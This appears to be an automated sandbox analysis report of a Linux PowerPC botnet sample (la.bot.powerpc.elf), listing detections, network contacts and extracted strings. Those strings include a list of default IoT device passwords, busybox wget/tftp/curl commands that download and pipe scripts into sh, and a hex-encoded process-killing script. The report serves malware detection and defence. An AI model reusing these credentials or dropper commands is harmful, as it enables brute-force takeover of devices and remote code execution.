Linux Analysis Report
la.bot.powerpc.elf

Overview

General Information

Sample name: la.bot.powerpc.elf
Analysis ID: 1541748
MD5: 71d7eb276f36cfa3994a49dcf7fe826c
SHA1: fd438571d904e81bcdd7fd1c17a4332c616237b6
SHA256: e6cd2513d86884236e1d9671b9b42c25da5011ac0aaa4ae9fa5a86aeb665cc7e
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.powerpc.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.powerpc.elf Virustotal: Detection: 33% Perma Link
Source: la.bot.powerpc.elf ReversingLabs: Detection: 34%
Found strings indicative of a multi-platform dropper
Source: la.bot.powerpc.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.powerpc.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.powerpc.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.powerpc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 103.253.147.242 ports 23789,2,3,7,8,9
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:49374 -> 103.253.147.242:23789
Sample listens on a socket
Source: /tmp/la.bot.powerpc.elf (PID: 6239) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 39.170.25.44
Source: unknown TCP traffic detected without corresponding DNS query: 39.208.139.206
Source: unknown TCP traffic detected without corresponding DNS query: 83.139.55.161
Source: unknown TCP traffic detected without corresponding DNS query: 20.160.224.236
Source: unknown TCP traffic detected without corresponding DNS query: 39.170.25.44
Source: unknown TCP traffic detected without corresponding DNS query: 39.208.139.206
Source: unknown TCP traffic detected without corresponding DNS query: 83.139.55.161
Source: unknown TCP traffic detected without corresponding DNS query: 20.160.224.236
Source: unknown TCP traffic detected without corresponding DNS query: 138.216.148.174
Source: unknown TCP traffic detected without corresponding DNS query: 19.5.55.37
Source: unknown TCP traffic detected without corresponding DNS query: 138.216.148.174
Source: unknown TCP traffic detected without corresponding DNS query: 193.33.51.200
Source: unknown TCP traffic detected without corresponding DNS query: 19.5.55.37
Source: unknown TCP traffic detected without corresponding DNS query: 193.33.51.200
Source: unknown TCP traffic detected without corresponding DNS query: 27.140.230.231
Source: unknown TCP traffic detected without corresponding DNS query: 27.140.230.231
Source: unknown TCP traffic detected without corresponding DNS query: 219.232.89.130
Source: unknown TCP traffic detected without corresponding DNS query: 219.232.89.130
Source: unknown TCP traffic detected without corresponding DNS query: 125.121.42.152
Source: unknown TCP traffic detected without corresponding DNS query: 125.121.42.152
Source: unknown TCP traffic detected without corresponding DNS query: 53.183.169.93
Source: unknown TCP traffic detected without corresponding DNS query: 53.183.169.93
Source: unknown TCP traffic detected without corresponding DNS query: 2.233.61.90
Source: unknown TCP traffic detected without corresponding DNS query: 2.233.61.90
Source: unknown TCP traffic detected without corresponding DNS query: 52.12.138.71
Source: unknown TCP traffic detected without corresponding DNS query: 52.12.138.71
Source: unknown TCP traffic detected without corresponding DNS query: 149.67.234.134
Source: unknown TCP traffic detected without corresponding DNS query: 149.67.234.134
Source: unknown TCP traffic detected without corresponding DNS query: 24.126.81.140
Source: unknown TCP traffic detected without corresponding DNS query: 24.126.81.140
Source: unknown TCP traffic detected without corresponding DNS query: 192.41.248.56
Source: unknown TCP traffic detected without corresponding DNS query: 192.41.248.56
Source: unknown TCP traffic detected without corresponding DNS query: 181.179.255.37
Source: unknown TCP traffic detected without corresponding DNS query: 181.179.255.37
Source: unknown TCP traffic detected without corresponding DNS query: 183.30.246.150
Source: unknown TCP traffic detected without corresponding DNS query: 183.30.246.150
Source: unknown TCP traffic detected without corresponding DNS query: 180.111.31.125
Source: unknown TCP traffic detected without corresponding DNS query: 180.111.31.125
Source: unknown TCP traffic detected without corresponding DNS query: 19.203.43.116
Source: unknown TCP traffic detected without corresponding DNS query: 76.252.134.147
Source: unknown TCP traffic detected without corresponding DNS query: 199.121.38.108
Source: unknown TCP traffic detected without corresponding DNS query: 19.203.43.116
Source: unknown TCP traffic detected without corresponding DNS query: 112.125.84.151
Source: unknown TCP traffic detected without corresponding DNS query: 221.130.230.246
Source: unknown TCP traffic detected without corresponding DNS query: 76.252.134.147
Source: unknown TCP traffic detected without corresponding DNS query: 199.121.38.108
Source: unknown TCP traffic detected without corresponding DNS query: 201.249.6.212
Source: unknown TCP traffic detected without corresponding DNS query: 112.125.84.151
Source: unknown TCP traffic detected without corresponding DNS query: 99.23.125.153
Source: global traffic DNS traffic detected: DNS query: 21savage.dyn
Source: la.bot.powerpc.elf String found in binary or memory: http:///curl.sh
Source: la.bot.powerpc.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: (usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.powerpc.elf (PID: 6241) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal60.troj.linELF@0/0@1/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/840/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/82/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.powerpc.elf (PID: 6239) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.powerpc.elf, 6239.1.00007ffdd7acd000.00007ffdd7aee000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/la.bot.powerpc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.powerpc.elf
Source: la.bot.powerpc.elf, 6239.1.000055d16cf93000.000055d16d043000.rw-.sdmp Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: la.bot.powerpc.elf, 6239.1.000055d16cf93000.000055d16d043000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/ppc
Source: la.bot.powerpc.elf, 6239.1.00007ffdd7acd000.00007ffdd7aee000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
172.117.38.140
 unknown United States
20001 TWC-20001-PACWESTUS false
169.87.203.47
 unknown United States
37611 AfrihostZA false
156.200.244.30
 unknown Egypt
8452 TE-ASTE-ASEG false
118.16.102.222
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
57.85.119.69
 unknown Belgium
51964 ORANGE-BUSINESS-SERVICES-IPSN-ASNFR false
155.133.105.180
 unknown Poland
201427 PL-M2M-ASPL false
143.197.202.160
 unknown United States
32480 LLUMCUS false
47.169.201.88
 unknown United States
5650 FRONTIER-FRTRUS false
168.46.197.69
 unknown United States
1761 TDIR-CAPNETUS false
139.180.112.101
 unknown New Zealand
55850 TRUSTPOWERLTD-AS-APTrustPowerLtdNZ false
198.115.215.10
 unknown United States
3356 LEVEL3US false
72.87.146.237
 unknown United States
5650 FRONTIER-FRTRUS false
115.8.69.217
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
180.254.122.0
 unknown Indonesia
7713 TELKOMNET-AS-APPTTelekomunikasiIndonesiaID false
59.49.142.106
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
205.181.120.239
 unknown United States
3356 LEVEL3US false
128.64.12.12
 unknown United States
unknown unknown false
104.139.123.143
 unknown United States
11426 TWC-11426-CAROLINASUS false
211.221.134.66
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
67.123.75.214
 unknown United States
7018 ATT-INTERNET4US false
26.105.53.48
 unknown United States
7922 COMCAST-7922US false
71.103.131.246
 unknown United States
5650 FRONTIER-FRTRUS false
141.81.166.142
 unknown Sweden
19229 IFOXNETODPD-ENSONO-DCCSUS false
130.44.237.111
 unknown United States
6079 RCN-ASUS false
45.168.237.77
 unknown Mexico
265530 FIBRATVSADECVMX false
172.195.93.82
 unknown Australia
18747 IFX18747US false
176.198.140.140
 unknown Germany
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
40.96.198.227
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
54.44.2.158
 unknown United States
14618 AMAZON-AESUS false
111.68.87.180
 unknown China
45753 NETSEC-HKNETSECHK false
133.248.13.48
 unknown Japan 7687 D-CRUISENETTOYOTADIGITALCRUISEINCORPORATEDJP false
8.93.181.187
 unknown United States
3356 LEVEL3US false
178.240.193.33
 unknown Turkey
16135 TURKCELL-ASTurkcellASTR false
100.28.159.112
 unknown United States
14618 AMAZON-AESUS false
172.99.38.13
 unknown United States
5650 FRONTIER-FRTRUS false
28.147.81.216
 unknown United States
7922 COMCAST-7922US false
7.43.209.233
 unknown United States
3356 LEVEL3US false
158.16.215.153
 unknown United States
1504 DNIC-AS-01504US false
107.233.67.22
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
25.31.242.57
 unknown United Kingdom
7922 COMCAST-7922US false
140.13.56.197
 unknown United States
23700 FASTNET-AS-IDLinknet-FastnetASNID false
132.245.126.47
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
174.242.146.8
 unknown United States
22394 CELLCOUS false
97.156.138.150
 unknown United States
6167 CELLCO-PARTUS false
122.132.163.154
 unknown Japan 2518 BIGLOBEBIGLOBEIncJP false
38.89.170.230
 unknown United States
174 COGENT-174US false
165.223.234.236
 unknown United States
3550 ERX-PHILNETAteneodeManilaUniversityPH false
160.87.28.15
 unknown United States
299 UCINET-ASUS false
189.20.154.132
 unknown Brazil
10429 TELEFONICABRASILSABR false
122.146.34.11
 unknown Taiwan; Republic of China (ROC)
9919 NCIC-TWNewCenturyInfoCommTechCoLtdTW false
15.171.223.114
 unknown United States
71 HP-INTERNET-ASUS false
26.164.55.45
 unknown United States
7922 COMCAST-7922US false
88.10.147.25
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
206.47.198.205
 unknown Canada
30048 CONVERGIA-NETCA false
171.138.168.14
 unknown United States
9874 STARHUB-MOBILEStarHubLtdSG false
27.126.82.17
 unknown Japan 18136 CTAJupiterTelecommunicationsCoLtdJP false
202.66.157.2
 unknown Hong Kong
9584 GENESIS-APDiyixiancomLimitedHK false
75.219.62.235
 unknown United States
22394 CELLCOUS false
193.239.61.44
 unknown Poland
15470 AVERTECHAverTechSpzooPL false
60.182.154.202
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
122.10.90.135
 unknown Hong Kong
55933 CLOUDIE-AS-APCloudieLimitedHK false
205.98.57.202
 unknown United States
647 DNIC-ASBLK-00616-00665US false
65.67.95.96
 unknown United States
7018 ATT-INTERNET4US false
113.226.78.68
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
14.189.94.166
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
146.147.210.134
 unknown United States
197938 TRAVIANGAMESDE false
157.15.9.101
 unknown unknown
2512 TCP-NETTCPIncJP false
139.208.82.249
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
140.231.176.179
 unknown Germany
8111 DALUNIVCA false
16.59.121.177
 unknown United States
unknown unknown false
161.27.149.218
 unknown Italy
21176 ASN-DEBISIT false
77.143.248.123
 unknown France
49902 SRR-ASFR false
205.153.6.136
 unknown United States
6389 BELLSOUTH-NET-BLKUS false
178.82.172.30
 unknown Switzerland
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
59.4.80.50
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
175.9.2.240
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
25.85.138.188
 unknown United Kingdom
7922 COMCAST-7922US false
8.18.18.228
 unknown United States
